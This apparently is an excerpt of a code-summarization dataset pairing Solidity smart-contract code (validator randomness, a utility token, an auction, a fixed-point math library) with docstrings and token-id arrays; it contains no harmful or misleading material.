function nextRevealPhaseStartBlock() public view returns(uint256) {
if (isCommitPhase()) {
return currentCollectRoundStartBlock() + commitPhaseLength();
} else {
return nextCollectRoundStartBlock() + commitPhaseLength();
}
}
/// @dev Returns a boolean flag of whether the `revealNumber` function can be called at the current block
/// by the specified validator. Used by the `revealNumber` function and the `TxPermission` contract.
/// @param _miningAddress The mining address of validator which tries to call the `revealNumber` function.
/// @param _number The validator's number passed to the `revealNumber` function.
function revealNumberCallable(address _miningAddress, uint256 _number) public view returns(bool) {
return _revealNumberCallable(_miningAddress, _number);
}
/// @dev The same as the `revealNumberCallable` getter (see its description).
/// The `revealSecretCallable` was renamed to `revealNumberCallable`, so this function
/// is left for backward compatibility with the previous client
/// implementation and should be deleted in the future.
/// @param _miningAddress The mining address of validator which tries to call the `revealSecret` function.
/// @param _number The validator's number passed to the `revealSecret` function.
function revealSecretCallable(address _miningAddress, uint256 _number) public view returns(bool) {
return _revealNumberCallable(_miningAddress, _number);
}
/// @dev Returns the number of reveal skips made by the specified validator during the specified staking epoch.
/// @param _stakingEpoch The number of staking epoch.
/// @param _miningAddress The mining address of the validator.
function revealSkips(uint256 _stakingEpoch, address _miningAddress) public view returns(uint256) {
uint256 poolId = validatorSetContract.idByMiningAddress(_miningAddress);
return _revealSkips[_stakingEpoch][poolId];
}
/// @dev Returns a boolean flag indicating whether the specified validator has revealed their number for the
/// specified collection round. Note that for the past collection rounds it can return false-negative results
/// because there was a migration from mining addresses to staking addresses.
/// @param _collectRound The serial number of the collection round for which the checkup should be done.
/// @param _miningAddress The mining address of the validator.
function sentReveal(uint256 _collectRound, address _miningAddress) public view returns(bool) {
uint256 poolId = validatorSetContract.idByMiningAddress(_miningAddress);
return _sentReveal[_collectRound][poolId];
}
// ============================================== Internal ========================================================
/// @dev Removes the ciphers of all committed validators for the collection round
/// preceding to the specified collection round.
/// @param _collectRound The serial number of the collection round.
function _clearOldCiphers(uint256 _collectRound) internal {
if (_collectRound == 0) {
return;
}
uint256 collectRound = _collectRound - 1;
uint256[] storage poolIds = _committedValidators[collectRound];
uint256 poolIdsLength = poolIds.length;
for (uint256 i = 0; i < poolIdsLength; i++) {
delete _ciphers[collectRound][poolIds[i]];
}
poolIds.length = 0;
}
/// @dev Used by the `revealNumber` function.
/// @param _number The validator's number.
function _revealNumber(uint256 _number) internal {
address miningAddress = msg.sender;
require(revealNumberCallable(miningAddress, _number));
require(_getCoinbase() == miningAddress); // make sure validator node is live
uint256 poolId = validatorSetContract.idByMiningAddress(miningAddress);
currentSeed = currentSeed ^ _number;
_sentReveal[currentCollectRound()][poolId] = true;
}
/// @dev Returns the current `coinbase` address. Needed mostly for unit tests.
function _getCoinbase() internal view returns(address) {
return block.coinbase;
}
/// @dev Returns the current block number. Needed mostly for unit tests.
function _getCurrentBlockNumber() internal view returns(uint256) {
return block.number;
}
/// @dev Used by the `revealNumberCallable` public getter.
/// @param _miningAddress The mining address of validator which tries to call the `revealNumber` function.
/// @param _number The validator's number passed to the `revealNumber` function.
function _revealNumberCallable(address _miningAddress, uint256 _number) internal view returns(bool) {
if (!isRevealPhase()) return false; // must only be called in `reveals phase`
bytes32 numberHash = keccak256(abi.encodePacked(_number));
if (numberHash == bytes32(0)) return false;
if (!validatorSetContract.isValidator(_miningAddress)) return false;
uint256 collectRound = currentCollectRound();
if (sentReveal(collectRound, _miningAddress)) {
return false; // cannot reveal more than once during the same collectRound
}
if (numberHash != getCommit(collectRound, _miningAddress)) {
return false; // the hash must be commited
}
return true;
}
}
|
@dev Returns the Keccak-256 hash of the validator's number for the specified collection round and the specified validator stored by the validator through the `commitHash` function. Note that for the past collection rounds it can return empty results because there was a migration from mining addresses to staking addresses. @param _collectRound The serial number of the collection round for which the hash should be retrieved. @param _miningAddress The mining address of validator.
|
function getCommit(uint256 _collectRound, address _miningAddress) public view returns(bytes32) {
uint256 poolId = validatorSetContract.idByMiningAddress(_miningAddress);
return _commits[_collectRound][poolId];
}
| 5,364,734 |
[
1,
1356,
326,
1475,
24410,
581,
17,
5034,
1651,
434,
326,
4213,
1807,
1300,
364,
326,
1269,
1849,
3643,
471,
326,
1269,
4213,
4041,
635,
326,
4213,
3059,
326,
1375,
7371,
2310,
68,
445,
18,
3609,
716,
364,
326,
8854,
1849,
21196,
518,
848,
327,
1008,
1686,
2724,
1915,
1703,
279,
6333,
628,
1131,
310,
6138,
358,
384,
6159,
6138,
18,
225,
389,
14676,
11066,
1021,
2734,
1300,
434,
326,
1849,
3643,
364,
1492,
326,
1651,
1410,
506,
10295,
18,
225,
389,
1154,
310,
1887,
1021,
1131,
310,
1758,
434,
4213,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
336,
5580,
12,
11890,
5034,
389,
14676,
11066,
16,
1758,
389,
1154,
310,
1887,
13,
1071,
1476,
1135,
12,
3890,
1578,
13,
288,
203,
3639,
2254,
5034,
2845,
548,
273,
4213,
694,
8924,
18,
350,
858,
2930,
310,
1887,
24899,
1154,
310,
1887,
1769,
203,
3639,
327,
389,
27000,
63,
67,
14676,
11066,
6362,
6011,
548,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
// Copyright 2019 OpenST Ltd.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import "./UtilityTokenInterface.sol";
import "./EIP20Token.sol";
import "./CoGatewayUtilityTokenInterface.sol";
import "./OrganizationInterface.sol";
import "./Organized.sol";
/**
* @title UtilityToken is an EIP20Token and implements UtilityTokenInterface.
*
* @notice This contract has increaseSupply and decreaseSupply functions that
* can be called only by CoGateway.
*/
contract UtilityToken is Organized, EIP20Token, UtilityTokenInterface {
/* Events */
/** Emitted whenever a CoGateway address is set. */
event CoGatewaySet(address _coGateway);
/* Storage */
/** Address of branded token in the origin chain. */
EIP20Interface public token;
/**
* Address of CoGateway contract. It ensures that increaseSupply and
* decreaseSupply is done from coGateway.
*/
address public coGateway;
/* Modifiers */
/** Checks that msg.sender is coGateway address. */
modifier onlyCoGateway() {
require(
msg.sender == coGateway,
"Only CoGateway can call the function."
);
_;
}
/* Special Functions */
/**
* @notice Contract constructor.
*
* @dev Creates an EIP20Token contract with arguments passed in the
* contract constructor.
*
* @param _token Address of eip20 token on origin chain.
* It acts as an identifier.
* @param _symbol Symbol of the token.
* @param _name Name of the token.
* @param _decimals Decimal places of the token.
* @param _organization Address of the Organization contract.
*/
constructor(
EIP20Interface _token,
string memory _symbol,
string memory _name,
uint8 _decimals,
OrganizationInterface _organization
)
public
EIP20Token(_symbol, _name, _decimals)
Organized(_organization)
{
require(
address(_token) != address(0),
"Token address is null."
);
token = _token;
}
/* External functions */
/**
* @notice Sets the CoGateway contract address.
*
* @dev Function requires:
* - Caller is organization.
* - coGateway address is not set.
* - coGateway.utilityToken is equal to this contract address.
*
* @param _coGateway CoGateway contract address.
*/
function setCoGateway(address _coGateway)
external
onlyOrganization
returns (bool success_)
{
success_ = setCoGatewayInternal(_coGateway);
}
/**
* @notice Increases the total token supply. Also, adds the number of
* tokens to the beneficiary balance.
*
* @param _beneficiary Account address for which the balance will be
* increased. This is payable so that it provides
* flexibility of transferring base token to account
* on increase supply.
* @param _amount Amount of tokens.
*
* @return success_ `true` if increase supply is successful, false otherwise.
*/
function increaseSupply(
address payable _beneficiary,
uint256 _amount
)
external
onlyCoGateway
returns (bool success_)
{
success_ = increaseSupplyInternal(_beneficiary, _amount);
}
/**
* @notice Decreases the token supply.
*
* @param _amount Amount of tokens.
*
* @return success_ `true` if decrease supply is successful, false otherwise.
*/
function decreaseSupply(
uint256 _amount
)
external
onlyCoGateway
returns (bool success_)
{
success_ = decreaseSupplyInternal(_amount);
}
/**
* @notice Checks if an address exists.
*
* @dev For standard ethereum all account addresses exist by default,
* so it returns true for all addresses.
*
* @return exists_ `true` for all given address
*/
function exists(address) external returns (bool exists_) {
exists_ = true;
}
/* Internal functions. */
function setCoGatewayInternal(address _coGateway)
internal
returns (bool success_)
{
require(
coGateway == address(0),
"CoGateway address already set."
);
require(
_coGateway != address(0),
"CoGateway address should not be zero."
);
coGateway = _coGateway;
require(
CoGatewayUtilityTokenInterface(_coGateway).utilityToken()
== address(this),
"CoGateway should be linked with this utility token."
);
emit CoGatewaySet(coGateway);
success_ = true;
}
/**
* @notice Internal function to increases the total token supply.
*
* @dev Adds number of tokens to beneficiary balance and increases the
* total token supply.
*
* @param _account Account address for which the balance will be increased.
* @param _amount Amount of tokens.
*
* @return success_ `true` if increase supply is successful, false otherwise.
*/
function increaseSupplyInternal(
address payable _account,
uint256 _amount
)
internal
returns (bool success_)
{
// Increase the balance of the _account
balances[_account] = balances[_account].add(_amount);
totalTokenSupply = totalTokenSupply.add(_amount);
/*
* Creation of the new tokens should trigger a Transfer event with
* _from as 0x0.
*/
emit Transfer(address(0), _account, _amount);
success_ = true;
}
/**
* @notice Internal function to decreases the token supply.
*
* @dev Decreases the token balance from the msg.sender address and
* decreases the total token supply count.
*
* @param _amount Amount of tokens.
*
* @return success_ `true` if decrease supply is successful, false otherwise.
*/
function decreaseSupplyInternal(
uint256 _amount
)
internal
returns (bool success_)
{
require(
balances[msg.sender] >= _amount,
"Insufficient balance."
);
// Decrease the balance of the msg.sender account.
balances[msg.sender] = balances[msg.sender].sub(_amount);
totalTokenSupply = totalTokenSupply.sub(_amount);
/*
* Burning of the tokens should trigger a Transfer event with _to
* as 0x0.
*/
emit Transfer(msg.sender, address(0), _amount);
success_ = true;
}
}
|
* @notice Increases the total token supply. Also, adds the number of tokens to the beneficiary balance. @param _beneficiary Account address for which the balance will be increased. This is payable so that it provides flexibility of transferring base token to account on increase supply. @param _amount Amount of tokens. @return success_ `true` if increase supply is successful, false otherwise./
|
function increaseSupply(
address payable _beneficiary,
uint256 _amount
)
external
onlyCoGateway
returns (bool success_)
{
success_ = increaseSupplyInternal(_beneficiary, _amount);
}
| 2,493,042 |
[
1,
27597,
3304,
326,
2078,
1147,
14467,
18,
8080,
16,
4831,
326,
1300,
434,
540,
2430,
358,
326,
27641,
74,
14463,
814,
11013,
18,
225,
389,
70,
4009,
74,
14463,
814,
6590,
1758,
364,
1492,
326,
11013,
903,
506,
5397,
31383,
18,
1220,
353,
8843,
429,
1427,
716,
518,
8121,
5397,
16600,
3628,
434,
906,
74,
20245,
1026,
1147,
358,
2236,
5397,
603,
10929,
14467,
18,
225,
389,
8949,
16811,
434,
2430,
18,
327,
2216,
67,
1375,
3767,
68,
309,
10929,
14467,
353,
6873,
16,
629,
3541,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
10929,
3088,
1283,
12,
203,
3639,
1758,
8843,
429,
389,
70,
4009,
74,
14463,
814,
16,
203,
3639,
2254,
5034,
389,
8949,
203,
565,
262,
203,
3639,
3903,
203,
3639,
1338,
4249,
5197,
203,
3639,
1135,
261,
6430,
2216,
67,
13,
203,
565,
288,
203,
3639,
2216,
67,
273,
10929,
3088,
1283,
3061,
24899,
70,
4009,
74,
14463,
814,
16,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0x1Dea112a84F50316fa8D4Dbfa3306A7f543352e6/sources/MasterChef.sol
|
The Uniswap $GHOST-ETH LP token address
|
address public ghostPoolAddress;
| 3,295,444 |
[
1,
1986,
1351,
291,
91,
438,
271,
43,
8908,
17,
1584,
44,
511,
52,
1147,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1758,
1071,
314,
2564,
2864,
1887,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x5A77FBEb4f331f771bbc225f02E4c56ce51Eacba/sources/project_/contracts/GBM/GBM.sol
|
Event emitted when an auction is being setup
|
emit Auction_Initialized(auctionId, _tokenID, _contract, _tokenKind);
| 1,911,101 |
[
1,
1133,
17826,
1347,
392,
279,
4062,
353,
3832,
3875,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
3626,
432,
4062,
67,
11459,
12,
69,
4062,
548,
16,
389,
2316,
734,
16,
389,
16351,
16,
389,
2316,
5677,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
// Simple contract used to withdraw liquidations using a DSProxy from legacy contracts (1.2.2 and below).
contract LiquidationWithdrawer {
function withdrawLiquidation(
address financialContractAddress,
uint256 liquidationId,
address sponsor
) public returns (FixedPoint.Unsigned memory) {
return IFinancialContract(financialContractAddress).withdrawLiquidation(liquidationId, sponsor);
}
}
interface IFinancialContract {
function withdrawLiquidation(uint256 liquidationId, address sponsor)
external
returns (FixedPoint.Unsigned memory amountWithdrawn);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
/**
* @title Library for fixed point arithmetic on uints
*/
library FixedPoint {
using SafeMath for uint256;
using SignedSafeMath for int256;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For unsigned values:
// This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77.
uint256 private constant FP_SCALING_FACTOR = 10**18;
// --------------------------------------- UNSIGNED -----------------------------------------------------------------------------
struct Unsigned {
uint256 rawValue;
}
/**
* @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a uint to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
